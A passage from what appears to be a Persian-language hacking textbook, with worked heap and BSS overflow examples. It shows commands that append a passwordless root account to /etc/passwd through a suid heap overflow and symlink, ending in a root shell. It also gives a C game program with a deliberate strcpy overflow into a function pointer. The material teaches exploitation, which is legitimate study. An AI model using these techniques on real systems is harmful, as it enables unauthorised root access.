‫ ﻣﯽ ﺗﻮان اﯾـﻦ ﻣـﺴﺌﻠﻪ‬.‫ ﺑﺎﯾﺖ ﺧﻮاﻫﺪ ﺑﻮد‬23 ‫ای ﮐﻪ ﻣﯽ ﺗﻮان در اﯾﻦ ﺑﺎﻓﺮ ﻗﺮار داد ﺑﺪون اﯾﻨﮑﻪ در ﺑﺎﻓﺮ ﺑﻌﺪی ﺳﺮرﯾﺰ ﮐﻨﺪ‬
.‫ ﺑﺎﯾﺘﯽ ﺑﺮرﺳﯽ ﮐﺮد‬24 ‫ ﺑﺎﯾﺘﯽ و‬23 ‫را ﺑﺎ اﺳﺘﻔﺎده از آرﮔﻮﻣﺎن ﻫﺎی‬
$ ./heap 12345678901234567890123
---DEBUG--
[*] userinput @ 0x80498d0: 12345678901234567890123
[*] outputfile @ 0x80498e8: /tmp/notes
[*] distance between: 24
----------

Writing to "12345678901234567890123" to the end of /tmp/notes...

40
‫‪$ cat /tmp/notes‬‬
‫‪testing‬‬
‫‪more_stuff‬‬
‫‪12345678901234567890123‬‬
‫‪$ ./heap 123456789012345678901234‬‬
‫‪---DEBUG--‬‬
‫‪[*] userinput @ 0x80498d0: 123456789012345678901234‬‬
‫‪[*] outputfile @ 0x80498e8:‬‬
‫‪[*] distance between: 24‬‬
‫‪----------‬‬

‫‪Writing to "123456789012345678901234" to the end of ...‬‬


‫‪error opening ÿh‬‬
‫‪$ cat /tmp/notes‬‬
‫‪testing‬‬
‫‪more_stuff‬‬
‫‪12345678901234567890123‬‬
‫‪$‬‬
‫ﻫﻤﺎﻧﻄﻮر ﮐﻪ ﭘﯿﺶ ﺑﯿﻨﯽ ﻣﯽ ﺷﺪ‪ 23 ،‬ﺑﺎﯾﺖ را ﻣﯽ ﺗﻮان ﺑﺪون ﻣﺸﮑﻞ در ﺑﺎﻓﺮ ‪ userinput‬ذﺧﯿـﺮه ﮐـﺮد‪ ،‬اﻣـﺎ ﻫﻨﮕـﺎﻣﯽ ﮐـﻪ‬
‫آرﮔﻮﻣﺎن ‪ 24‬ﺑﺎﯾﺘﯽ را اﻣﺘﺤﺎن ﻣﯽ ﮐﻨﯿﻢ‪ ،‬ﺑﺎﯾﺖ ﭘﺎﯾﺎن دﻫﻨﺪه ی ﭘﻮچ ﺑﺮ اﺑﺘـﺪای ﺑـﺎﻓﺮ ‪ outputfile‬ﺳـﺮرﯾﺰ ﻣـﯽ ﮐﻨـﺪ‪ .‬اﯾـﻦ‬
‫ﻣﺴﺌﻠﻪ ﺳﺒﺐ ﻣﯽ ﺷﻮد ﮐﻪ ﻣﺎﻫﯿﺖ ‪ outputfile‬ﻣﺎﻧﻨﺪ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ ﺑﺎﺷﺪ ﮐﻪ ﻣﺴﻠﻤﺎ ﻧﻤﯽ ﺗﻮان آﻧﺮا ﺑﻪ ﻋﻨﻮان ﯾﮏ ﻓﺎﯾﻞ ﺑﺎز‬
‫ﮐﺮد‪ .‬اﻣﺎ اﮔﺮ ﭼﯿﺰ دﯾﮕﺮی ﻧﯿﺰ ﻫﻤﺮاه ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ در ﺑﺎﻓﺮ ‪ outputfile‬ﺳﺮرﯾﺰ ﻣﯽ ﮐﺮد ﭼﻪ اﺗﻔﺎق ﻣﯽ اﻓﺘﺎد؟‬
‫‪$ ./heap 123456789012345678901234testfile‬‬
‫‪---DEBUG--‬‬
‫‪[*] userinput @ 0x80498d0: 123456789012345678901234testfile‬‬
‫‪[*] outputfile @ 0x80498e8: testfile‬‬
‫‪[*] distance between: 24‬‬
‫‪----------‬‬

‫‪Writing to "123456789012345678901234testfile" to the end of testfile...‬‬


‫‪$ cat testfile‬‬
‫‪123456789012345678901234testfile‬‬
‫‪$‬‬
‫اﯾﻦ دﻓﻌﻪ رﺷﺘﻪ ‪ testfile‬در ﺑﺎﻓﺮ ‪ outputfile‬ﺳﺮرﯾﺰ ﮐﺮده اﺳﺖ ﮐـﻪ ﺳـﺒﺐ ﻣـﯽ ﺷـﻮد ﺑﺮﻧﺎﻣـﻪ‪ ،‬ﺑـﻪ ﺟـﺎی ﻧﻮﺷـﺘﻦ روی‬
‫‪) /tmp/notes‬ﮐﻪ در اﺻﻞ ﺑﺮای اﻧﺠﺎم اﯾﻦ ﮐﺎر ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﺷﺪه ﺑﻮد( ﺑﺮ روی ‪ testfile‬در اﯾﻦ ﮐﺎر را اﻧﺠﺎم دﻫﺪ‪.‬‬
‫ﯾﮏ رﺷﺘﻪ ﺗﺎ زﻣﺎن ﺑﺮﺧﻮرد ﺑﻪ ﺑﺎﯾﺖ ﭘﻮچ ﺧﻮاﻧﺪه ﻣﯽ ﺷﻮد‪ ،‬ﻟﺬا ﮐﻞ رﺷﺘﻪ ﺑﻪ ﻋﻨﻮان ‪ userinput‬در ﻓﺎﯾﻞ ﻧﻮﺷﺘﻪ ﻣـﯽ ﺷـﻮد‪.‬‬
‫ﭼﻮن اﯾﻦ ﺑﺮﻧﺎﻣﻪ ‪ suid‬اﺳﺖ و ﻣﯽ ﺗﻮان ﻧﻮﺷﺘﻦ داده ﻫﺎ را در ﯾﮏ ﻓﺎﯾﻞ ﮐﻨﺘﺮل ﮐﺮد‪ ،‬ﻟﺬا ﻣﯽ ﺗﻮان داده ﻫﺎ را در ﻫﺮ ﻓﺎﯾﻠﯽ‬
‫ﻧﻮﺷﺖ‪ .‬اﻣﺎ اﯾﻦ داده ﻫﺎ ﻣﺤﺪودﯾﺖ ﻫﺎﯾﯽ ﻧﯿﺰ دارﻧﺪ‪ ،‬ﻣﺜﻼ ﺑﺎﯾﺪ داده ﻫﺎ ﺑﺎ ﻧﺎم ﻓﺎﯾﻞ اﺻﻠﯽ ﭘﺎﯾﺎن ﭘﺬﯾﺮد‪.‬‬
‫ﭼﻨﺪﯾﻦ راه ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن و ﺳﻮ اﺳﺘﻔﺎده از ﭼﻨﯿﻦ ﻗﺎﺑﻠﯿﺖ ﻫﺎﯾﯽ وﺟﻮد دارﻧﺪ‪ .‬ﺷﺎﯾﺪ واﺿﺢ ﺗﺮﯾﻦ راه اﺿﺎﻓﻪ ﮐﺮدن‬
‫داده ﺑﻪ ﻓﺎﯾﻞ ‪ /etc/passwd‬ﺑﺎﺷﺪ )ﺟﻬﺖ ﺳﺎﺧﺖ ﯾﮏ ﻫﻮﯾﺖ ﺟﺪﯾـﺪ ﺑـﺮای ﻧﻔـﻮذﮔﺮ(‪ .‬اﯾـﻦ ﻓﺎﯾـﻞ ﺣـﺎوی ﺗﻤـﺎم ﻧـﺎم ﻫـﺎی‬
‫ﮐﺎرﺑﺮی‪ ،‬ﺷﻨﺎﺳﻪ ﻫﺎ و ﭘﻮﺳﺘﻪ ﻫﺎی ورود ﺑﻪ ﺳﯿﺴﺘﻢ ﺑﺮای ﺗﻤﺎم ﮐﺎرﺑﺮان ﺳﯿﺴﺘﻢ اﺳﺖ‪ .‬ﻟﺬا ﻃﺒﯿﻌـﯽ اﺳـﺖ ﮐـﻪ ﺑﮕـﻮﺋﯿﻢ اﯾـﻦ‬
‫ﻓﺎﯾﻞ ﯾﮏ ﻓﺎﯾﻞ ﺳﯿﺴﺘﻤﯽ ﻣﻬﻢ و ﺑﺤﺮاﻧﯽ اﺳﺖ‪ ،‬ﻟﺬا ﻗﺒﻞ از ﮐﺎرﮐﺮدن ﺑﺎ آن ﺑﻬﺘﺮ از ﯾﮏ ﻧﺴﺨﻪ ﭘﺸﺘﯿﺒﺎن از آن ﺗﻬﯿﻪ ﮐﻨﯿﺪ‪.‬‬
‫‪$ cp /etc/passwd /tmp/passwd.backup‬‬
‫‪$ cat /etc/passwd‬‬
‫‪root:x:0:0:root:/root:/bin/bash‬‬
‫‪bin:x:1:1:bin:/bin:/bin/false‬‬
‫‪daemon:x:2:2:daemon:/sbin:/bin/false‬‬
‫‪adm:x:3:4:adm:/var/adm:/bin/false‬‬
‫‪sync:x:5:0:sync:/sbin:/bin/sync‬‬
‫‪shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown‬‬
‫‪halt:x:7:0:halt:/sbin:/sbin/halt‬‬
‫‪man:x:13:15:man:/usr/man:/bin/false‬‬
‫‪nobody:x:65534:65534:nobody:/:/bin/false‬‬
‫‪matrix:x:1000:100::/home/matrix:‬‬
‫‪sshd:x:22:22:sshd:/var/empty:/dev/null‬‬
‫‪$‬‬
‫‪41‬‬
‫ﻓﯿﻠﺪﻫﺎ در ﻓﺎﯾﻞ ‪ /etc/passwd‬ﺑﺎ ﮐﺎراﮐﺘﺮﻫﺎی دو ﻧﻘﻄﻪ ﯾﺎ ﮐﺎﻟﻦ )‪ (:‬از ﻫﻢ ﺟﺪا ﻣﯽ ﺷﻮﻧﺪ ﮐﻪ در آن ﻓﯿﻠﺪﻫﺎ ﺑﻪ ﺻﻮرت ﻧـﺎم‬
‫ورود ﺑﻪ ﺳﯿﺴﺘﻢ )‪ ،(login name‬رﻣﺰ ﻋﺒﻮر )‪ ،(password‬ﺷﻨﺎﺳﻪ ﮐﺎرﺑﺮ )‪ ،(User-ID‬ﺷﻨﺎﺳﻪ ﮔﺮوه )‪ ،(Group-ID‬ﻧﺎم‬
‫ﮐﺎرﺑﺮ )‪ ،(username‬ﺷﺎﺧﻪ ﺧﺎﻧﮕﯽ )‪ (home directory‬و ﻧﻬﺎﯾﺘﺎ ﭘﻮﺳﺘﻪ ورود ﺑﻪ ﺳﯿﺴﺘﻢ )‪ (login shell‬ﻫـﺴﺘﻨﺪ‪ .‬ﺗﻤـﺎم‬
‫ﻓﯿﻠﺪﻫﺎی ﭘﺴﻮرد ﺑﺎ ﮐﺎراﮐﺘﺮ ‪ x‬ﭘﺮ ﺷﺪه اﻧﺪ‪ ،‬ﭼﺮا ﮐﻪ ﭘﺴﻮردﻫﺎی رﻣﺰﺷﺪه در ﺟﺎﯾﯽ دﯾﮕﺮ در ﻓﺎﯾﻞ ‪ shadow‬ذﺧﯿﺮه ﺷـﺪه‬
‫اﻧﺪ‪ .‬اﻣﺎ اﮔﺮ اﯾﻦ ﻓﯿﻠﺪ ﺧﺎﻟﯽ ﺑﺎﺷﺪ‪ ،‬ﻧﯿﺎز ﺑﻪ رﻣﺰﻋﺒﻮر ﻧﯿﺴﺖ‪ .‬ﺑﻌﻼوه ﺑﻪ ﻫﺮ ﻓﻘﺮه در ﻓﺎﯾﻞ ﭘﺴﻮرد ﮐﻪ دارای ﺷﻨﺎﺳﻪ ﮐﺎرﺑﺮی ‪0‬‬
‫ﺑﺎﺷﺪ‪ ،‬ﺳﻄﺢ اﺧﺘﯿﺎرات رﯾﺸﻪ اﻋﻄﺎ ﺧﻮاﻫﺪ ﺷﺪ‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﯽ ﺗﻮان ﻫﺪف ﻧﻬﺎﯾﯽ را اﺿﺎﻓﻪ ﮐﺮدن ﯾـﮏ ﻓﻘـﺮه ﺑـﻪ ﻓﺎﯾـﻞ‬
‫ﭘﺴﻮرد ﺑﺎ ﺳﻄﺢ اﺧﺘﯿﺎرات رﯾﺸﻪ و ﺑﺪون رﻣﺰﻋﺒﻮر داﻧﺴﺖ‪ .‬ﻟﺬا ﺧﻄﯽ ﮐﻪ ﺑﺎﯾﺪ ﺑﻪ ﻓﺎﯾﻞ ﭘﺴﻮرد اﺿﺎﻓﻪ ﮐﻨﯿﻢ ﭼﯿﺰی ﺷـﺒﯿﻪ ﺑـﻪ‬
‫ﺧﻂ زﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد‪:‬‬
‫‪myroot::0:0:me:/root:/bin/bash‬‬
‫اﻣﺎ ﻣﺎﻫﯿﺖ اﯾﻦ ﻧﻮع ﺳﺮرﯾﺰ ‪ heap‬در ﺑﺮﻧﺎﻣﻪ اﺟﺎزه ﻧﺨﻮاﻫﺪ داد ﮐﻪ اﯾﻦ ﺧـﻂ را دﻗﯿﻘـﺎ در ﻓﺎﯾـﻞ ‪ /etc/passwd‬ﺑﻨﻮﯾـﺴﯿﻢ‪،‬‬
‫ﭼﻮن ﻫﻤﺎن ﻃﻮر ﮐﻪ ذﮐﺮ ﺷﺪ رﺷﺘﻪ اﺿﺎﻓﻪ ﺷﺪه ﺑﺎﯾﺪ ﺑﺎ ‪ /etc/passwd‬ﺧﺎﺗﻤﻪ ﯾﺎﺑﺪ‪ .‬ﺑﺎ اﯾﻦ ﺣﺎل اﮔﺮ ﺻﺮﻓﺎ ﻧﺎم اﯾـﻦ ﻓﺎﯾـﻞ را‬
‫ﺑﻪ اﻧﺘﻬﺎی ﻓﻘﺮه ﺧﻮد اﺿﺎﻓﻪ ﮐﻨﯿﻢ‪ ،‬ﺳﺎﺧﺘﺎر آن ﻓﻘﺮه در ﻓﺎﯾﻞ ﭘﺴﻮرد ﻏﻠﻂ ﺧﻮاﻫﺪ ﺑـﻮد‪ .‬اﻣـﺎ ﻣﯿﺘـﻮان اﯾـﻦ ﻣﺤـﺪودﯾﺖ را ﺑـﺎ‬
‫اﺳﺘﻔﺎده از اﺗﺼﺎل ﻓﺎﯾﻞ ﺑـﻪ ﺻـﻮرت ﺳـﻤﺒﻮﻟﯿﮏ )‪ (symbolic file link‬رﻓـﻊ ﮐـﺮد‪ ،‬ﻟـﺬا ﻓﻘـﺮه ﻣـﯽ ﺗﻮاﻧـﺪ ﻫـﻢ ﺑـﺎ رﺷـﺘﻪ‬
‫‪ /etc/passwd‬ﭘﺎﯾﺎن ﯾﺎﺑﺪ و ﻫﻢ اﯾﻨﮑﻪ در ﻓﺎﯾﻞ ﭘﺴﻮرد ﻣﻌﺘﺒﺮ ﺷﻨﺎﺧﺘﻪ ﺷﻮد‪ .‬در زﯾـﺮ ﭼﮕـﻮﻧﮕﯽ اﻧﺠـﺎم اﺗـﺼﺎل ﺳـﻤﺒﻮﻟﯿﮏِ‬
‫ﻓﺎﯾﻞ را ﻣﯽ ﺑﯿﻨﯿﺪ‪:‬‬
‫‪$ mkdir /tmp/etc‬‬
‫‪$ ln -s /bin/bash /tmp/etc/passwd‬‬
‫‪$ /tmp/etc/passwd‬‬
‫‪$ exit‬‬
‫‪exit‬‬
‫‪$ ls -l /tmp/etc/passwd‬‬
‫‪lrwxrwxrwx‬‬ ‫‪1 matrix‬‬ ‫‪users‬‬ ‫>‪9 Nov 27 15:46 /tmp/etc/passwd -‬‬
‫‪/bin/bash‬‬
‫در ﺣـــﺎل ﺣﺎﺿـــﺮ رﺷـــﺘﻪ"‪ "/tmp/etc/passwd‬ﺑـــﻪ ﭘﻮﺳـــﺘﻪ ﻓﺮﻣـــﺎن "‪ "/bin/bash‬اﺷـــﺎره ﻣـــﯽ ﮐﻨـــﺪ‪ .‬ﯾﻌﻨـــﯽ‬
‫"‪ "/tmp/etc/passwd‬ﻧﯿﺰ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﻧﺎم ورودی ﻣﻌﺘﺒﺮ ﺑﺮای ﻓﺎﯾﻞ ﭘﺴﻮرد ﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد‪ ،‬ﻟﺬا ﺧﻂ زﯾﺮ ﺑـﻪ ﻋﻨـﻮان‬
‫ﯾﮏ ﻓﻘﺮه ﻣﻌﺘﺒﺮ در ﻓﺎﯾﻞ ﭘﺴﻮرد ﺧﻮاﻫﺪ ﺑﻮد‪:‬‬
‫‪myroot::0:0:me:/root:/tmp/etc/passwd‬‬
‫ﺗﻨﻬﺎ ﮐﺎﻓﯽ اﺳﺖ ﻣﻘﺎدﯾﺮ اﯾﻦ ﺧﻂ را ﻣﻘﺪاری ﺗﻐﯿﯿﺮ دﻫﯿﻢ ﺑﻄﻮرﯾﮑﻪ ﻗﺴﻤﺖ ﻗﺒﻞ از "‪ "/etc/passwd‬دﻗﯿﻘﺎ ‪ 24‬ﺑﺎﯾـﺖ ﻃـﻮل‬
‫داﺷﺘﻪ ﺑﺎﺷﺪ‪:‬‬
‫‪$ echo -n "myroot::0:0:me:/root:/tmp" | wc‬‬
‫‪0‬‬ ‫‪1‬‬ ‫‪25‬‬
‫‪$ echo -n "myroot::0:0:m:/root:/tmp" | wc‬‬
‫‪0‬‬ ‫‪1‬‬ ‫‪24‬‬
‫‪$‬‬
‫ﺑﻪ اﯾﻦ ﺻﻮرت اﮔﺮ رﺷﺘﻪ "‪ "myroot::0:0:m:/root:/tmp/etc/passwd‬را ﺑﻪ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ﺑﺪﻫﯿﻢ‪ ،‬اﯾـﻦ رﺷـﺘﻪ‬
‫ﺑﻪ اﻧﺘﻬﺎی ﻓﺎﯾﻞ ‪ /etc/passwd‬اﺿﺎﻓﻪ ﺧﻮاﻫﺪ ﺷﺪ و ﭼﻮن اﯾﻦ ﺧﻂ دارای ﭘﺴﻮرد ﻧﯿﺴﺖ و ﺳـﻄﺢ اﺧﺘﯿـﺎرات رﯾـﺸﻪ را ﻧﯿـﺰ‬
‫دارد‪ ،‬ﻟﺬا ﻣﯽ ﺗﻮان ﺑﺮاﺣﺘﯽ ﺑﺎ اﺳﺘﻔﺎده از اﯾﻦ اﮐﺎﻧﺖ اﺧﺘﯿﺎرات رﯾﺸﻪ را ﺑﺪﺳﺖ آورد‪ .‬ﺧﺮوﺟﯽ زﯾﺮ اﯾﻦ ﻣﺴﺌﻠﻪ را ﻧﺸﺎن ﻣﯽ‬
‫دﻫﺪ‪:‬‬
‫‪$ ./heap myroot::0:0:m:/root:/tmp/etc/passwd‬‬
‫‪---DEBUG--‬‬
‫‪[*] userinput @ 0x80498d0: myroot::0:0:m:/root:/tmp/etc/passwd‬‬
‫‪[*] outputfile @ 0x80498e8: /etc/passwd‬‬
‫‪[*] distance between: 24‬‬
‫‪----------‬‬

‫‪Writing to "myroot::0:0:m:/root:/tmp/etc/passwd" to the end of‬‬


‫‪/etc/passwd...‬‬
‫‪$ cat /etc/passwd‬‬
‫‪42‬‬
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
man:x:13:15:man:/usr/man:/bin/false
nobody:x:65534:65534:nobody:/:/bin/false
matrix:x:1000:100::/home/matrix:
sshd:x:22:22:sshd:/var/empty:/dev/null
myroot::0:0:m:/root:/tmp/etc/passwd
$
$ su myroot
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
#

‫ ﺟﺎﯾﻨﻮﯾﺴﯽ اﺷﺎرﮔﺮﻫﺎی ﺗﺎﺑﻊ‬.2,8,2

‫ ﺑﺮای ﺑـﺎزی‬.‫ ﺑﺮﻧﺎﻣﻪ ﻣﻮرد ﻧﻈﺮ ﯾﮏ ﺑﺎزی ﺷﺎﻧﺴﯽ ﺳﺎده اﺳﺖ‬.‫ از ﺣﺎﻓﻈﻪ را ﻧﻤﺎﯾﺶ ﻣﯽ دﻫﺪ‬BSS ‫از ﻣﺜﺎل ﺳﺮرﯾﺰ در ﻗﻄﻌﻪ‬
.‫ اﺳـﺖ‬20 ‫ ﺗـﺎ‬1 ‫ ﻫﺪف ﺑﺎزی ﺣﺪس زدن ﯾﮏ ﺷﻤﺎره اﻧﺘﺨﺎب ﺷﺪه ﺗـﺼﺎدﻓﯽ از‬.‫ اﻣﺘﯿﺎز ﺧﻮد را ﺧﺮج ﮐﻨﯿﻢ‬10 ‫ﮐﺮدن ﺑﺎﯾﺪ‬
‫ اﻣﺘﯿﺎز ﺑﻪ ﻋﻨﻮان ﺟﺎﯾﺰه درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﯿﻢ )ﮐﺪﻫﺎی ﻣﺮﺑﻮط ﺑﻪ اﺿﺎﻓﻪ و ﮐﻢ‬100 ،‫اﮔﺮ ﺷﻤﺎره درﺳﺖ ﺣﺪس زده ﺷﺪه ﺑﺎﺷﺪ‬
‫ ﺗﻐﯿﯿـﺮات ﻣﻮﺟـﻮد‬.(‫ ﭼﻮن ﺑﻪ اﯾﻦ ﺑﺮﻧﺎﻣﻪ ﻓﻘﻂ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﻣﺜﺎل ﻧﮕﺎه ﻣﯽ ﮐﻨـﯿﻢ‬،‫ﮐﺮدن اﻣﺘﯿﺎز از اﯾﻦ ﻣﺜﺎل ﺣﺬف ﺷﺪه اﻧﺪ‬
.‫در اﻣﺘﯿﺎزات ﺑﻮﺳﯿﻠﻪ ﭘﯿﺎم ﻫﺎی ﺧﺮوﺟﯽ ﺑﻪ آﮔﺎﻫﯽ ﻣﺎ ﻣﯽ رﺳﻨﺪ‬
‫ اﺳـﺖ‬1/20 ‫ ﭼﻮﻧﮑﻪ اﺣﺘﻤﺎل ﯾـﮏ ﭘﯿـﺮوزی‬،‫از ﻟﺤﺎظ آﻣﺎری ﺳﻨﮕﯿﻨﯽ ﮐﻔﻪ ﺗﺮازو در اﯾﻦ ﺑﺎزی ﻣﺨﺎﻟﻒ ﻣﻨﺎﻓﻊ ﺑﺎزﯾﮑﻦ اﺳﺖ‬
‫ اﻣﺎ ﺷـﺎﯾﺪ‬.‫ ﺑﺎر ﺑﺎزی ﮐﺮدن را ﻓﺮاﻫﻢ ﻣﯽ آورد‬10 ‫)ﻟﺬا ﺷﺎﻧﺲ ﭘﯿﺮوزی ﺑﺎ ﺷﮑﺴﺖ ﻣﺴﺎوی ﻧﯿﺴﺖ( و ﻓﻘﻂ اﻣﺘﯿﺎز ﻻزم ﺑﺮای‬
.‫راﻫﯽ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ ﺗﺎ ﺑﺘﻮان اﺣﺘﻤﺎل ﺷﮑﺴﺖ و ﭘﯿﺮوزی را اﻧﺪﮐﯽ ﺑﻪ ﻫﻢ ﻧﺰدﯾﮏ ﮐﺮد‬
bss_game.c code

#include <stdlib.h>
#include <time.h>

int game(int);
int jackpot();

int main(int argc, char *argv[])


{
static char buffer[20];
static int (*function_ptr) (int user_pick);

if(argc < 2)
{
printf("Usage: %s <a number 1 - 20>\n", argv[0]);
printf("use %s help or %s -h for more help.\n", argv[0], argv[0]);
exit(0);
}

// Seed the randomizer


srand(time(NULL));

// Set the function pointer to point to the game function.


function_ptr = game;

// Print out some debug messages


printf("---DEBUG--\n");

43
printf("[before strcpy] function_ptr @ %p:
%p\n",&function_ptr,function_ptr);
strcpy(buffer, argv[1]);

printf("[*] buffer @ %p: %s\n", buffer, buffer);


printf("[after strcpy] function_ptr @ %p:
%p\n",&function_ptr,function_ptr);

if(argc > 2)
printf("[*] argv[2] @ %p\n", argv[2]);
printf("----------\n\n");

// If the first argument is "help" or "-h" display a help message


if((!strcmp(buffer, "help")) || (!strcmp(buffer, "-h")))
{
printf("Help Text:\n\n");
printf("This is a game of chance.\n");
printf("It costs 10 credits to play, which will be\n");
printf("automatically deducted from your account.\n\n");
printf("To play, simply guess a number 1 through 20\n");
printf(" %s <guess>\n", argv[0]);
printf("If you guess the number I am thinking of,\n");
printf("you will win the jackpot of 100 credits!\n");
}
else
// Otherwise, call the game function using the function pointer
{
function_ptr(atoi(buffer));
}
}

int game(int user_pick)


{
int rand_pick;

// Make sure the user picks a number from 1 to 20


if((user_pick < 1) || (user_pick > 20))
{
printf("You must pick a value from 1 - 20\n");
printf("Use help or -h for help\n");
return;
}

printf("Playing the game of chance..\n");


printf("10 credits have been subtracted from your account\n");
/* <insert code to subtract 10 credits from an account> */

// Pick a random number from 1 to 20


rand_pick = (rand()% 20) + 1;

printf("You picked: %d\n", user_pick);


printf("Random Value: %d\n", rand_pick);

// If the random number matches the user's number, call jackpot()


if(user_pick == rand_pick)
jackpot();
else
printf("Sorry, you didn't win this time..\n");
}

// Jackpot Function. Give the user 100 credits.


int jackpot()
{
printf("You just won the jackpot!\n");
printf("100 credits have been added to your account.\n");
/* <insert code to add 100 credits to an account> */
}
44
:‫ﺧﺮوﺟﯽ زﯾﺮ ﻓﺮآﯾﻨﺪ ﮐﺎﻣﭙﺎﯾﻞ و ﭼﻨﺪ ﻧﻤﻮﻧﻪ از اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﺟﻬﺖ اﻧﺠﺎم ﺑﺎزی ﻧﺸﺎن ﻣﯽ دﻫﺪ‬
$ gcc -o bss_game bss_game.c
$ ./bss_game
Usage: ./bss_game <a number 1 - 20>
use ./bss_game help or ./bss_game -h for more help.
$ ./bss_game help
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: help
[after strcpy] function_ptr @ 0x8049c88: 0x8048662
----------

Help Text:

This is a game of chance.


It costs 10 credits to play, which will be
automatically deducted from your account.

To play, simply guess a number 1 through 20


./bss_game <guess>
If you guess the number I am thinking of,
you will win the jackpot of 100 credits!
$ ./bss_game 5
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 5
[after strcpy] function_ptr @ 0x8049c88: 0x8048662
----------

Playing the game of chance..


10 credits have been subtracted from your account
You picked: 5
Random Value: 12
Sorry, you didn't win this time..
$ ./bss_game 7
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 7
[after strcpy] function_ptr @ 0x8049c88: 0x8048662
----------

Playing the game of chance..


10 credits have been subtracted from your account
You picked: 7
Random Value: 6
Sorry, you didn't win this time..
$ ./bss_game 15
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 15
[after strcpy] function_ptr @ 0x8049c88: 0x8048662
----------

Playing the game of chance..


10 credits have been subtracted from your account
You picked: 15
Random Value: 15
You just won the jackpot!
100 credits have been added to your account.
$
‫ اﻣﺘﯿﺎز ﮐﺴﺐ ﮐﺮدﯾﻢ! ﻧﮑﺘﻪ ﻣﻬﻢ در ﺑﺮﻧﺎﻣﻪ اﯾﻦ اﺳﺖ ﮐﻪ ﺑﺎﻓﺮ اﻋﻼن ﺷﺪه ی اﯾﺴﺘﺎ ﻗﺒﻞ از اﺷﺎرﮔﺮ ﺗﺎﺑﻊ اﻋﻼن ﺷﺪه ﺑـﻪ‬100
‫( اﻋﻼن‬uninitialized) ‫( و ﺑﺪون ﻣﻘﺪار اوﻟﯿﻪ‬static) ‫ ﭼﻮن ﻫﺮ دو آﻧﻬﺎ ﺑﻪ ﺻﻮرت اﯾﺴﺘﺎ‬.‫ﺻﻮرت اﯾﺴﺘﺎ ﻗﺮار ﮔﺮﻓﺘﻪ اﺳﺖ‬
‫ ﺟﻤـﻼت اﺷـﮑﺎل زداﯾـﯽ ﻧـﺸﺎن ﻣـﯽ دﻫﻨـﺪ ﮐـﻪ ﺑـﺎﻓﺮ در آدرس‬.‫ از ﺣﺎﻓﻈﻪ ﻗﺮار ﻣـﯽ ﮔﯿﺮﻧـﺪ‬BSS ‫ ﻟﺬا در ﻗﻄﻌﻪ‬،‫ﺷﺪه اﻧﺪ‬

45
‫‪ 0x8049c74‬و اﺷﺎرﮔﺮ ﺗﺎﺑﻊ در‪ 0x8049c88‬ﻗﺮار ﮔﺮﻓﺘﻪ اﻧﺪ‪ .‬اﺧﺘﻼف اﯾﻦ دو آدرس ‪ 20‬ﺑﺎﯾﺖ اﺳﺖ‪ .‬ﺑﻨﺎﺑﺮاﯾﻦ اﮔﺮ ‪21‬‬
‫ﺑﺎﯾﺖ در ﺑﺎﻓﺮ ﻗﺮار ﮔﯿﺮد‪ ،‬ﺑﺎﯾﺖ ﺑﯿﺴﺖ و ﯾﮑﻢ ﺑﺎﯾﺴﺘﯽ ﺑﺮ روی اﺷﺎرﮔﺮ ﺗﺎﺑﻊ ﺳﺮرﯾﺰ ﮐﻨﺪ‪ .‬اﯾﻦ ﺳﺮرﯾﺰ در ﺧﺮوﺟـﯽ زﯾـﺮ ﺑـﺎ‬
‫ﺧﻂ ﺿﺨﯿﻢ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ‪.‬‬
‫‪$ ./bss_game 12345678901234567890‬‬
‫‪---DEBUG--‬‬
‫‪[before strcpy] function_ptr @ 0x8049c88: 0x8048662‬‬
‫‪[*] buffer @ 0x8049c74: 12345678901234567890‬‬
‫‪[after strcpy] function_ptr @ 0x8049c88: 0x8048600‬‬
‫‪----------‬‬

‫‪Illegal instruction‬‬
‫‪$‬‬
‫‪$ ./bss_game 12345678901234567890A‬‬
‫‪---DEBUG--‬‬
‫‪[before strcpy] function_ptr @ 0x8049c88: 0x8048662‬‬
‫‪[*] buffer @ 0x8049c74: 12345678901234567890A‬‬
‫‪[after strcpy] function_ptr @ 0x8049c88: 0x8040041‬‬
‫‪----------‬‬

‫‪Segmentation fault‬‬
‫‪$‬‬
‫در اوﻟﯿﻦ ﺳﺮرﯾﺰ رخ داده در ﺑﺎﻻ‪ ،‬ﮐﺎراﮐﺘﺮ ﺑﯿﺴﺖ و ﯾﮑﻢ ﺑﺎﯾﺖ ﭘﻮچ اﺳﺖ ﮐﻪ رﺷﺘﻪ را ﺧﺎﺗﻤﻪ ﻣﯽ دﻫﺪ‪ .‬ﭼﻮن اﺷﺎرﮔﺮ ﺗـﺎﺑﻊ‬
